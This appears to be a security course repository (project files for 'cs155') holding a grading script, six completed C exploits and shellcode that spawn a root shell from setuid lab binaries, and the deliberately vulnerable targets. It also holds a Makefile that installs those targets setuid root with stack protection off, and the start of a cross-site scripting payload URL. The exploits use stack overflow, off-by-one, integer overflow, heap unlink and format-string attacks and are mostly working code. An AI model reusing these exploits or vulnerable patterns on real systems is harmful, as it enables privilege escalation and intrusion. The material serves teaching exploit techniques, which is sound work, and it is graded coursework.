#!/bin/bash 2 | 3 | RST="$(tput sgr 0)" 4 | FR="$(tput setaf 1)" 5 | FG="$(tput setaf 2)" 6 | FY="$(tput setaf 3)" 7 | BD="$(tput bold)" 8 | 9 | # ID.csv 10 | ORIG_SHA1="ec6472bc86f35868a8c7cd8b97235a1311433da1" 11 | SHA1="$(sha1sum ID.csv | cut -d' ' -f1)" 12 | if [ "$SHA1" == "$ORIG_SHA1" ]; then 13 | echo "${BD}${FR}fill in ID.csv${RST}" 14 | fi 15 | 16 | # Parts 1 and 2 17 | for ((i=1; i<=6; i++)); do 18 | if [ ! -f sploits/sploit$i ]; then 19 | RESULT="${FR}not found${RST}" 20 | else 21 | USER="$(echo "whoami" | sploits/sploit$i)" 22 | RC=$? 23 | if [ $RC -ne 0 ]; then 24 | RESULT="${FR}unexpected exit code $RC${RST}" 25 | elif [ "$USER" != "root" ]; then 26 | RESULT="${FR}fail${RST}" 27 | else 28 | RESULT="${FG}pass${RST}" 29 | fi 30 | fi 31 | echo "${BD}sploit$i${RST}: $RESULT" 32 | done 33 | 34 | # Part 3 35 | if [ ! -f fuzz/install/bin/bsdtar ]; then 36 | RESULT="${FR}bsdtar not found${RST}" 37 | elif [ ! -f fuzz/results/crashes/id:000000* ]; then 38 | RESULT="${FR}no crashes found${RST}" 39 | else 40 | { fuzz/install/bin/bsdtar -O -xf fuzz/results/crashes/id:000000*; } &>/dev/null 41 | RC=$? 42 | if [ $RC -le 128 ] || [ $RC -ge 160 ]; then 43 | RESULT="${FR}non-crash: exit code $RC${RST}" 44 | else 45 | RESULT="${FG}crash: exit code $RC${RST}" 46 | fi 47 | fi 48 | echo "${BD}fuzz bsdtar${RST}: $RESULT" 49 | ORIG_SHA1="f792a23a2460500baadca8030d126e193abdc964" 50 | SHA1="$(sha1sum fuzz/README | cut -d' ' -f1)" 51 | if [ "$SHA1" == "$ORIG_SHA1" ]; then 52 | echo "${BD}${FR}fill in fuzz/README${RST}" 53 | fi 54 | 55 | # Extra credit 56 | if [ -f sploits/extra-credit.txt ]; then 57 | RESULT="${FG}present${RST}" 58 | else 59 | RESULT="${FY}not present${RST}" 60 | fi 61 | echo "${BD}extra credit${RST}: $RESULT" 62 | -------------------------------------------------------------------------------- /proj1/sploits/Makefile: -------------------------------------------------------------------------------- 1 | # tools 2 | CC := gcc 3 | RM := rm -f 4 | 5 | # flags 6 | CFLAGS := -ggdb -m32 7 | LDFLAGS := -m32 8 | LDLIBS := 9 | 10 | # sources 11 | sources := sploit1.c sploit2.c sploit3.c sploit4.c sploit5.c sploit6.c run-shellcode.c 12 | targets := $(sources:.c=) 13 | 14 | # gmake magic 15 | .PHONY: default all clean 16 | 17 | #targets 18 | default: all 19 | all: $(targets) shellcode.bin 20 | 21 | clean: 22 | $(RM) $(targets) $(sources:.c=.o) shellcode.bin 23 | 24 | %.o: %.S 25 | $(CC) -m32 -c -o $@ $< 26 | 27 | %.bin: %.o 28 | objcopy -S -O binary -j .text $< $@ 29 | 30 | #dependencies 31 | $(sources:.c=.o): shellcode.h 32 | -------------------------------------------------------------------------------- /proj1/sploits/extra-credit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | import sys 3 | import socket 4 | import traceback 5 | import struct 6 | 7 | #### 8 | 9 | ## This function takes your exploit code, adds a carriage-return and newline 10 | ## and sends it to the server. The server will always respond, but if the 11 | ## exploit crashed the server it will close the connection. Therefore, we try 12 | ## to write another query to the server, recv on the socket and see if we get 13 | ## an exception 14 | ## 15 | ## True means the exploit made the server close the connection (i.e. it crashed) 16 | ## False means the socket is still operational. 17 | def try_exploit(exploit, host, port): 18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | sock.connect((host, port)) 20 | sock.send("%s\n" % exploit) 21 | b = 0 22 | while b < (len(exploit) + 1): 23 | mylen = len(sock.recv(4098)) 24 | b += mylen 25 | if mylen == 0: 26 | return True 27 | sock.send("\n") 28 | try: 29 | return len(sock.recv(5)) == 0 30 | except: 31 | return True 32 | 33 | def exploit(host, port, shellcode): 34 | # Build your exploit here 35 | # One useful function might be 36 | # struct.pack(" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #if __SIZEOF_LONG__ != 4 11 | #error Build this as a 32-bit binary: use gcc -m32 ... 12 | #endif 13 | 14 | int 15 | main(int ac, char **av) 16 | { 17 | if (ac != 2) { 18 | printf("Usage: %s shellcode.bin\n", av[0]); 19 | exit(-1); 20 | } 21 | 22 | void *buf; 23 | int fd = open(av[1], O_RDONLY); 24 | if (fd < 0) 25 | perror("open"); 26 | 27 | struct stat st; 28 | if (fstat(fd, &st) < 0) 29 | perror("fstat"); 30 | 31 | buf = memalign(4096, st.st_size); 32 | if (!buf) 33 | perror("malloc"); 34 | 35 | ssize_t cc = read(fd, buf, st.st_size); 36 | if (cc < 0) 37 | perror("read"); 38 | if (cc != st.st_size) 39 | printf("incomplete read: %d %ld\n", cc, st.st_size); 40 | 41 | close(fd); 42 | 43 | if (mprotect(buf, st.st_size, PROT_READ|PROT_WRITE|PROT_EXEC) < 0) 44 | perror("mprotect"); 45 | 46 | void (*f)(void) __attribute__((noreturn)) = buf; 47 | f(); 48 | } 49 | -------------------------------------------------------------------------------- /proj1/sploits/shellcode.S: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define STRING "/tmp/passwd" 4 | #define STRLEN 11 5 | #define ARGV (STRLEN+1) 6 | #define ENVP (ARGV+4) 7 | 8 | .globl main 9 | .type main, @function 10 | 11 | main: 12 | jmp calladdr 13 | 14 | popladdr: 15 | popl %esi 16 | movl %esi,(ARGV)(%esi) /* set up argv pointer to pathname */ 17 | xorl %eax,%eax /* get a 32-bit zero value */ 18 | movb %al,(STRLEN)(%esi) /* null-terminate our string */ 19 | movl %eax,(ENVP)(%esi) /* set up null envp */ 20 | 21 | movb $5,%al /* syscall arg 1: syscall number */ 22 | add $5,%al 23 | movl %esi,%ebx /* syscall arg 2: string pathname */ 24 | leal ARGV(%esi),%ecx /* syscall arg 2: argv */ 25 | leal ENVP(%esi),%edx /* syscall arg 3: envp */ 26 | int $0x80 /* invoke syscall */ 27 | 28 | xorl %ebx,%ebx /* syscall arg 2: 0 */ 29 | movl %ebx,%eax 30 | inc %eax /* syscall arg 1: SYS_exit (1), uses */ 31 | /* mov+inc to avoid null byte */ 32 | int $0x80 /* invoke syscall */ 33 | 34 | calladdr: 35 | call popladdr 36 | .ascii STRING 37 | -------------------------------------------------------------------------------- /proj1/sploits/shellcode.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Aleph One shellcode. 3 | */ 4 | static const char shellcode[] = 5 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 6 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 7 | "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 8 | -------------------------------------------------------------------------------- /proj1/sploits/sploit1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "shellcode.h" 7 | 8 | #define TARGET "/tmp/target1" 9 | 10 | int main(void) 11 | { 12 | // put '\0' at the end 13 | char sploitstring[256 + 2 * sizeof(int) + 1]; 14 | memset(sploitstring, '\x90', sizeof(sploitstring)); 15 | sploitstring[sizeof(sploitstring) - 1] = 0; 16 | 17 | // shellcode is a string which ends with '\0' 18 | // should not copy '\0' to buffer otherwise 19 | // there wont be a buffer overflow 20 | memcpy(sploitstring + 100, shellcode, sizeof(shellcode) - 1); 21 | 22 | // address of eip 23 | int *ret = (int *) (sploitstring + 256 + sizeof(int)); 24 | *ret = 0xbffffc5c; 25 | 26 | 27 | char *args[] = { TARGET, sploitstring, NULL }; 28 | char *env[] = { NULL }; 29 | 30 | execve(TARGET, args, env); 31 | fprintf(stderr, "execve failed.\n"); 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /proj1/sploits/sploit2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "shellcode.h" 7 | 8 | #define TARGET "/tmp/target2" 9 | 10 | int main(void) 11 | { 12 | char sploitstring[201]; 13 | memset(sploitstring, '\x90', sizeof(sploitstring)); 14 | sploitstring[200] = 0; 15 | 16 | int offset = 0xbffffd00 - 0xbffffcc8; 17 | *(int *) (sploitstring + offset) = 0xffffffff; 18 | *(int *) (sploitstring + offset + 4) = 0xbffffd00 + 4 + 4; 19 | memcpy(sploitstring + offset + 4 + 4, shellcode, strlen(shellcode)); 20 | 21 | char *args[] = { TARGET, sploitstring, NULL }; 22 | char *env[] = { NULL }; 23 | 24 | execve(TARGET, args, env); 25 | fprintf(stderr, "execve failed.\n"); 26 | 27 | return 0; 28 | } 29 | 30 | -------------------------------------------------------------------------------- /proj1/sploits/sploit3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "shellcode.h" 7 | 8 | #define TARGET "/tmp/target3" 9 | 10 | int main(void) 11 | { 12 | 13 | char sploitstring[1000 * (2 * sizeof(double) + sizeof(int)) + 4 + 11]; 14 | memset(sploitstring, '\x90', sizeof(sploitstring)); 15 | // sizeof(struct widget_t) = 20 16 | // (20 * count) mod 2^32 = 1000 * 20 + 4 + 1 17 | // (int) count < 0 18 | // printf("%zu\n", 2147484649*20)=20020 19 | char *countstring = "2147484649,"; 20 | memcpy(sploitstring, countstring, strlen(countstring)); 21 | memcpy(sploitstring + 40, shellcode, strlen(shellcode)); 22 | *(int *)(sploitstring + 20000 + strlen(countstring) + 4) = 0xbfff6210; 23 | 24 | char *args[] = { TARGET, sploitstring, NULL }; 25 | char *env[] = { NULL }; 26 | 27 | execve(TARGET, args, env); 28 | fprintf(stderr, "execve failed.\n"); 29 | 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /proj1/sploits/sploit4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "shellcode.h" 7 | 8 | #define TARGET "/tmp/target4" 9 | 10 | int main(void) 11 | { 12 | char sploitstring[1024]; 13 | memset(sploitstring, '\x90', sizeof(sploitstring)); 14 | sploitstring[sizeof(sploitstring) - 1] = 0; 15 | memcpy(sploitstring + 32, shellcode, strlen(shellcode)); 16 | // p = 0x804a068 17 | // q = 0x804a268 18 | // q.bk = eip + 1 19 | // q.bk.fd = p 20 | *(int *)(sploitstring + 512 - 8) = 0x0804a068; 21 | *(int *)(sploitstring + 512 - 4) = 0xbffffa70; 22 | *(int *)(sploitstring + 4) = -1; 23 | *(short *)(sploitstring) = 0x0ceb; 24 | 25 | char *args[] = { TARGET, sploitstring, NULL }; 26 | char *env[] = { NULL }; 27 | 28 | execve(TARGET, args, env); 29 | fprintf(stderr, "execve failed.\n"); 30 | 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /proj1/sploits/sploit5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "shellcode.h" 7 | 8 | #define TARGET "/tmp/target5" 9 | 10 | int main(void) 11 | { 12 | char sploitstring[400]; 13 | char *fmt; 14 | 15 | memset(sploitstring, '\x90', sizeof(sploitstring)); 16 | sploitstring[sizeof(sploitstring)-1] = '\0'; 17 | 18 | fmt = "\xff\xff\xff\xff\x3c\xfb\xff\xbf" 19 | "\xff\xff\xff\xff\x3d\xfb\xff\xbf" 20 | "\xff\xff\xff\xff\x3e\xfb\xff\xbf" 21 | "\xff\xff\xff\xff\x3f\xfb\xff\xbf" 22 | "%127u%n%95u%n%257u%n%192u%n"; 23 | 24 | memcpy(sploitstring, fmt, strlen(fmt)); 25 | memcpy(sploitstring + sizeof(sploitstring) - strlen(shellcode) - 4, shellcode, strlen(shellcode)); 26 | 27 | char *args[] = { TARGET, sploitstring, NULL }; 28 | char *env[] = { NULL }; 29 | 30 | execve(TARGET, args, env); 31 | fprintf(stderr, "execve failed.\n"); 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /proj1/sploits/sploit6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "shellcode.h" 7 | 8 | #define TARGET "/tmp/target6" 9 | 10 | int main(void) 11 | { 12 | char sploitstring[201]; 13 | memset(sploitstring, '\x90', sizeof(sploitstring)); 14 | sploitstring[200] = 0; 15 | int offset = 0xbffffd00 - 0xbffffcc0; 16 | *(int *) (sploitstring + offset - 4) = 0x0804a00c; 17 | *(int *) (sploitstring + offset - 8) = 0xbffffcc0; 18 | 19 | memcpy(sploitstring, shellcode, strlen(shellcode)); 20 | 21 | char *args[] = { TARGET, sploitstring, NULL }; 22 | char *env[] = { NULL }; 23 | 24 | execve(TARGET, args, env); 25 | fprintf(stderr, "execve failed.\n"); 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /proj1/targets/Makefile: -------------------------------------------------------------------------------- 1 | # tools 2 | CC := gcc 3 | RM := rm -f 4 | EXECSTACK := execstack 5 | 6 | # flags 7 | CFLAGS := -ggdb -m32 -g -std=c99 -D_GNU_SOURCE -fno-stack-protector -mpreferred-stack-boundary=2 -Wno-format-security 8 | LDFLAGS := -m32 9 | LDLIBS := 10 | 11 | # sources 12 | sources := target1.c target2.c target3.c target4.c target5.c target6.c extra-credit.c tmalloc.c 13 | targets := target1 target2 target3 target4 target5 target6 extra-credit 14 | 15 | # gmake magic 16 | .PHONY: default all clean 17 | 18 | #targets 19 | default: all 20 | all: mkexecstack 21 | 22 | mkexecstack: $(targets) 23 | $(EXECSTACK) -s $(targets) 24 | 25 | install: mkexecstack 26 | install -o root -t /tmp $(targets) 27 | chmod 4755 /tmp/target* 28 | 29 | %.bin: %.o 30 | objcopy -S -O binary -j .text $< $@ 31 | 32 | %.o: %.c 33 | $(CC) $< -c -o $@ $(CFLAGS) 34 | 35 | extra-credit.o: extra-credit.c 36 | $(CC) $< -c -o $@ -fstack-protector-all -ggdb -m32 -g -std=c99 -D_GNU_SOURCE 37 | 38 | %.o: %.S 39 | $(CC) $< -c -o $@ $(CFLAGS) 40 | 41 | clean: 42 | $(RM) $(targets) $(sources:.c=.o) 43 | 44 | #dependencies 45 | target4: tmalloc.o 46 | tmalloc.o target4.o: tmalloc.h 47 | -------------------------------------------------------------------------------- /proj1/targets/extra-credit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int freadline(int fd, char *buf) { 9 | int i = 0; 10 | char next; 11 | for (;;) { 12 | int c = read(fd, &next, 1); 13 | if (c <= 0) { 14 | break; 15 | } 16 | 17 | if (next == '\n') { 18 | return i; 19 | } 20 | 21 | buf[i] = next; 22 | 23 | i++; 24 | } 25 | return -1; 26 | } 27 | 28 | int respond_once(int clientfd) { 29 | char buf[2048]; 30 | 31 | int line_len = freadline(clientfd, buf); 32 | if (line_len <= 0) { 33 | write(clientfd, "done\r\n", 6); 34 | close(clientfd); 35 | return -1; 36 | } 37 | 38 | write(clientfd, buf, line_len); 39 | write(clientfd, "\r\n", 2); 40 | return line_len; 41 | } 42 | 43 | void echo_server(int clientfd) { 44 | 45 | while (respond_once(clientfd) >= 0) { 46 | ;; 47 | } 48 | } 49 | 50 | /* socket-bind-listen idiom */ 51 | static int start_server(const char *portstr) 52 | { 53 | struct addrinfo hints = {0}, *res; 54 | int sockfd; 55 | int e, opt = 1; 56 | 57 | hints.ai_family = AF_UNSPEC; 58 | hints.ai_socktype = SOCK_STREAM; 59 | hints.ai_flags = AI_PASSIVE; 60 | 61 | if ((e = getaddrinfo(NULL, portstr, &hints, &res))) 62 | errx(1, "getaddrinfo: %s", gai_strerror(e)); 63 | if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) 64 | err(1, "socket"); 65 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))) 66 | err(1, "setsockopt"); 67 | if (fcntl(sockfd, F_SETFD, FD_CLOEXEC) < 0) 68 | err(1, "fcntl"); 69 | if (bind(sockfd, res->ai_addr, res->ai_addrlen)) 70 | err(1, "bind"); 71 | if (listen(sockfd, 5)) 72 | err(1, "listen"); 73 | freeaddrinfo(res); 74 | 75 | return sockfd; 76 | } 77 | 78 | int main() { 79 | char *portstr = "5555"; 80 | int serverfd = start_server(portstr); 81 | warnx("Listening on port %s", portstr); 82 | signal(SIGCHLD, SIG_IGN); 83 | signal(SIGPIPE, SIG_IGN); 84 | 85 | for (;;) { 86 | int clientfd = accept(serverfd, NULL, NULL); 87 | int pid; 88 | switch ((pid = fork())) 89 | { 90 | case -1: /* error */ 91 | err(1, "fork"); 92 | close(clientfd); 93 | case 0: /* child */ 94 | echo_server(clientfd); 95 | break; 96 | default: /* parent */ 97 | close(clientfd); 98 | } 99 | } 100 | 101 | return 0; 102 | } 103 | 104 | -------------------------------------------------------------------------------- /proj1/targets/target1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int bar(char *arg, char *out) 7 | { 8 | strcpy(out, arg); 9 | return 0; 10 | } 11 | 12 | void foo(char *argv[]) 13 | { 14 | char buf[256]; 15 | bar(argv[1], buf); 16 | } 17 | 18 | int main(int argc, char *argv[]) 19 | { 20 | if (argc != 2) 21 | { 22 | fprintf(stderr, "target1: argc != 2\n"); 23 | exit(EXIT_FAILURE); 24 | } 25 | setuid(0); 26 | foo(argv); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /proj1/targets/target2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void nstrcpy(char *out, int outl, char *in) 7 | { 8 | int i, len; 9 | 10 | len = strlen(in); 11 | if (len > outl) 12 | len = outl; 13 | 14 | for (i = 0; i <= len; i++) 15 | out[i] = in[i]; 16 | } 17 | 18 | void bar(char *arg) 19 | { 20 | char buf[200]; 21 | 22 | nstrcpy(buf, sizeof buf, arg); 23 | } 24 | 25 | void foo(char *argv[]) 26 | { 27 | bar(argv[1]); 28 | } 29 | 30 | int main(int argc, char *argv[]) 31 | { 32 | if (argc != 2) 33 | { 34 | fprintf(stderr, "target2: argc != 2\n"); 35 | exit(EXIT_FAILURE); 36 | } 37 | setuid(0); 38 | foo(argv); 39 | return 0; 40 | } 41 | -------------------------------------------------------------------------------- /proj1/targets/target3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct widget_t { 7 | double x; 8 | double y; 9 | int count; 10 | }; 11 | 12 | #define MAX_WIDGETS 1000 13 | 14 | int foo(char *in, int count) 15 | { 16 | struct widget_t buf[MAX_WIDGETS]; 17 | 18 | if (count < MAX_WIDGETS) 19 | memcpy(buf, in, count * sizeof(struct widget_t)); 20 | 21 | return 0; 22 | } 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | int count; 27 | char *in; 28 | 29 | if (argc != 2) 30 | { 31 | fprintf(stderr, "target3: argc != 2\n"); 32 | exit(EXIT_FAILURE); 33 | } 34 | setuid(0); 35 | 36 | /* 37 | * format of argv[1] is as follows: 38 | * 39 | * - a count, encoded as a decimal number in ASCII 40 | * - a comma (",") 41 | * - the remainder of the data, treated as an array 42 | * of struct widget_t 43 | */ 44 | 45 | count = (int)strtoul(argv[1], &in, 10); 46 | if (*in != ',') 47 | { 48 | fprintf(stderr, "target3: argument format is [count],[data]\n"); 49 | exit(EXIT_FAILURE); 50 | } 51 | in++; /* advance one byte, past the comma */ 52 | foo(in, count); 53 | 54 | return 0; 55 | } 56 | -------------------------------------------------------------------------------- /proj1/targets/target4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "tmalloc.h" 7 | 8 | /* 9 | * strlcpy() from OpenBSD-current: 10 | * $OpenBSD: strlcpy.c,v 1.5 2001/05/13 15:40:16 deraadt Exp $ 11 | * 12 | * Copy src to string dst of size siz. At most siz-1 characters 13 | * will be copied. Always NUL terminates (unless siz == 0). 14 | * Returns strlen(src); if retval >= siz, truncation occurred. 15 | * 16 | * HINT: This come from OpenBSD; there is no buffer overflow within 17 | * this function; the bug is somewhere else ... 18 | */ 19 | static size_t 20 | obsd_strlcpy(dst, src, siz) 21 | char *dst; 22 | const char *src; 23 | size_t siz; 24 | { 25 | register char *d = dst; 26 | register const char *s = src; 27 | register size_t n = siz; 28 | 29 | /* Copy as many bytes as will fit */ 30 | if (n != 0 && --n != 0) { 31 | do { 32 | if ((*d++ = *s++) == 0) 33 | break; 34 | } while (--n != 0); 35 | } 36 | 37 | /* Not enough room in dst, add NUL and traverse rest of src */ 38 | if (n == 0) { 39 | if (siz != 0) 40 | *d = '\0'; /* NUL-terminate dst */ 41 | while (*s++) 42 | ; 43 | } 44 | 45 | return(s - src - 1); /* count does not include NUL */ 46 | } 47 | 48 | 49 | 50 | int foo(char *arg) 51 | { 52 | char *p; 53 | char *q; 54 | 55 | if ( (p = tmalloc(500)) == NULL) 56 | { 57 | fprintf(stderr, "tmalloc failure\n"); 58 | exit(EXIT_FAILURE); 59 | } 60 | if ( (q = tmalloc(300)) == NULL) 61 | { 62 | fprintf(stderr, "tmalloc failure\n"); 63 | exit(EXIT_FAILURE); 64 | } 65 | 66 | tfree(p); 67 | tfree(q); 68 | 69 | if ( (p = tmalloc(1024)) == NULL) 70 | { 71 | fprintf(stderr, "tmalloc failure\n"); 72 | exit(EXIT_FAILURE); 73 | } 74 | 75 | obsd_strlcpy(p, arg, 1024); 76 | 77 | tfree(q); 78 | 79 | return 0; 80 | } 81 | 82 | int main(int argc, char *argv[]) 83 | { 84 | if (argc != 2) 85 | { 86 | fprintf(stderr, "target4: argc != 2\n"); 87 | exit(EXIT_FAILURE); 88 | } 89 | setuid(0); 90 | foo(argv[1]); 91 | return 0; 92 | } 93 | -------------------------------------------------------------------------------- /proj1/targets/target5.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int foo(char *arg) 7 | { 8 | char buf[400]; 9 | snprintf(buf, sizeof buf, arg); 10 | return 0; 11 | } 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | if (argc != 2) 16 | { 17 | fprintf(stderr, "target5: argc != 2\n"); 18 | exit(EXIT_FAILURE); 19 | } 20 | setuid(0); 21 | foo(argv[1]); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /proj1/targets/target6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void nstrcpy(char *out, int outl, char *in) 8 | { 9 | int i, len; 10 | 11 | len = strlen(in); 12 | if (len > outl) 13 | len = outl; 14 | 15 | for (i = 0; i <= len; i++) 16 | out[i] = in[i]; 17 | } 18 | 19 | void bar(char *arg) 20 | { 21 | char buf[200]; 22 | 23 | nstrcpy(buf, sizeof buf, arg); 24 | } 25 | 26 | void foo(char *argv[]) 27 | { 28 | int *p; 29 | int a = 0; 30 | p = &a; 31 | 32 | bar(argv[1]); 33 | 34 | *p = a; 35 | 36 | _exit(0); 37 | /* not reached */ 38 | } 39 | 40 | int main(int argc, char *argv[]) 41 | { 42 | if (argc != 2) 43 | { 44 | fprintf(stderr, "target6: argc != 2\n"); 45 | exit(EXIT_FAILURE); 46 | } 47 | setuid(0); 48 | foo(argv); 49 | return 0; 50 | } 51 | -------------------------------------------------------------------------------- /proj1/targets/tmalloc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Trivial malloc() implementation 3 | * 4 | * Inspired by K&R2 malloc() and Doug Lea malloc(). 5 | */ 6 | 7 | #include 8 | 9 | #ifdef NULL /* these days, defined in string.h */ 10 | #undef NULL 11 | #endif 12 | 13 | #define NULL 0 14 | 15 | /* 16 | * the chunk header 17 | */ 18 | typedef double ALIGN; 19 | 20 | typedef union CHUNK_TAG 21 | { 22 | struct 23 | { 24 | union CHUNK_TAG *l; /* leftward chunk */ 25 | union CHUNK_TAG *r; /* rightward chunk + free bit (see below) */ 26 | } s; 27 | ALIGN x; 28 | } CHUNK; 29 | 30 | /* 31 | * we store the freebit -- 1 if the chunk is free, 0 if it is busy -- 32 | * in the low-order bit of the chunk's r pointer. 33 | */ 34 | 35 | /* *& indirection because a cast isn't an lvalue and gcc 4 complains */ 36 | #define SET_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r |= 0x1 ) 37 | #define CLR_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r &= ~0x1 ) 38 | #define GET_FREEBIT(chunk) ( (unsigned)(chunk)->s.r & 0x1 ) 39 | 40 | /* it's only safe to operate on chunk->s.r if we know freebit 41 | * is unset; otherwise, we use ... */ 42 | #define RIGHT(chunk) ((CHUNK *)(~0x1 & (unsigned)(chunk)->s.r)) 43 | 44 | /* 45 | * chunk size is implicit from l-r 46 | */ 47 | #define CHUNKSIZE(chunk) ((unsigned)RIGHT((chunk)) - (unsigned)(chunk)) 48 | 49 | /* 50 | * back or forward chunk header 51 | */ 52 | #define TOCHUNK(vp) (-1 + (CHUNK *)(vp)) 53 | #define FROMCHUNK(chunk) ((void *)(1 + (chunk))) 54 | 55 | /* for demo purposes, a static arena is good enough. */ 56 | #define ARENA_CHUNKS (65536/sizeof(CHUNK)) 57 | static CHUNK arena[ARENA_CHUNKS]; 58 | 59 | static CHUNK *bot = NULL; /* all free space, initially */ 60 | static CHUNK *top = NULL; /* delimiter chunk for top of arena */ 61 | 62 | static void init(void) 63 | { 64 | bot = &arena[0]; top = &arena[ARENA_CHUNKS-1]; 65 | bot->s.l = NULL; bot->s.r = top; 66 | top->s.l = bot; top->s.r = NULL; 67 | SET_FREEBIT(bot); CLR_FREEBIT(top); 68 | } 69 | 70 | void *tmalloc(unsigned nbytes) 71 | { 72 | CHUNK *p; 73 | unsigned size; 74 | 75 | if (bot == NULL) 76 | init(); 77 | 78 | size = sizeof(CHUNK) * ((nbytes+sizeof(CHUNK)-1)/sizeof(CHUNK) + 1); 79 | 80 | for (p = bot; p != NULL; p = RIGHT(p)) 81 | if (GET_FREEBIT(p) && CHUNKSIZE(p) >= size) 82 | break; 83 | if (p == NULL) 84 | return NULL; 85 | 86 | CLR_FREEBIT(p); 87 | if (CHUNKSIZE(p) > size) /* create a remainder chunk */ 88 | { 89 | CHUNK *q, *pr; 90 | q = (CHUNK *)(size + (char *)p); 91 | pr = p->s.r; 92 | q->s.l = p; q->s.r = pr; 93 | p->s.r = q; pr->s.l = q; 94 | SET_FREEBIT(q); 95 | } 96 | return FROMCHUNK(p); 97 | } 98 | 99 | void tfree(void *vp) 100 | { 101 | CHUNK *p, *q; 102 | 103 | if (vp == NULL) 104 | return; 105 | 106 | p = TOCHUNK(vp); 107 | CLR_FREEBIT(p); 108 | q = p->s.l; 109 | if (q != NULL && GET_FREEBIT(q)) /* try to consolidate leftward */ 110 | { 111 | CLR_FREEBIT(q); 112 | q->s.r = p->s.r; 113 | p->s.r->s.l = q; 114 | SET_FREEBIT(q); 115 | p = q; 116 | } 117 | q = RIGHT(p); 118 | if (q != NULL && GET_FREEBIT(q)) /* try to consolidate rightward */ 119 | { 120 | CLR_FREEBIT(q); 121 | p->s.r = q->s.r; 122 | q->s.r->s.l = p; 123 | SET_FREEBIT(q); 124 | } 125 | SET_FREEBIT(p); 126 | } 127 | 128 | void *trealloc(void *vp, unsigned newbytes) 129 | { 130 | void *newp = NULL; 131 | 132 | /* behavior on corner cases conforms to SUSv2 */ 133 | if (vp == NULL) 134 | return tmalloc(newbytes); 135 | 136 | if (newbytes != 0) 137 | { 138 | CHUNK *oldchunk; 139 | unsigned bytes; 140 | 141 | if ( (newp = tmalloc(newbytes)) == NULL) 142 | return NULL; 143 | oldchunk = TOCHUNK(vp); 144 | bytes = CHUNKSIZE(oldchunk) - sizeof(CHUNK); 145 | if (bytes > newbytes) 146 | bytes = newbytes; 147 | memcpy(newp, vp, bytes); 148 | } 149 | 150 | tfree(vp); 151 | return newp; 152 | } 153 | 154 | void *tcalloc(unsigned nelem, unsigned elsize) 155 | { 156 | void *vp; 157 | unsigned nbytes; 158 | 159 | nbytes = nelem * elsize; 160 | if ( (vp = tmalloc(nbytes)) == NULL) 161 | return NULL; 162 | memset(vp, '\0', nbytes); 163 | return vp; 164 | } 165 | -------------------------------------------------------------------------------- /proj1/targets/tmalloc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Trivial malloc() implementation 3 | * 4 | * Inspired by K&R2 malloc() and Doug Lea malloc(). 5 | */ 6 | 7 | void *tmalloc(unsigned nbytes); 8 | void tfree(void *vp); 9 | void *trealloc(void *vp, unsigned newbytes); 10 | void *tcalloc(unsigned nelem, unsigned elsize); 11 | -------------------------------------------------------------------------------- /proj2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.7 2 | EXPOSE 3000 3 | RUN adduser -S cs155 4 | ADD code/ /home/cs155/proj2/ 5 | WORKDIR /home/cs155/proj2/ 6 | RUN apk update && \ 7 | apk add --update nodejs && \ 8 | npm install --global yarn && \ 9 | yarn 10 | CMD ["yarn", "start"] 11 | 12 | # commands: 13 | # docker build -t cs155-proj2-image . 14 | # docker run -it --rm -p 3000:3000 --mount type=bind,source="$(pwd)"/code/router.js,target=/home/cs155/proj2/router.js cs155-proj2-image 15 | -------------------------------------------------------------------------------- /proj2/a.txt: -------------------------------------------------------------------------------- 1 | http://localhost:3000/profile?username=
20 | 21 | 22 |
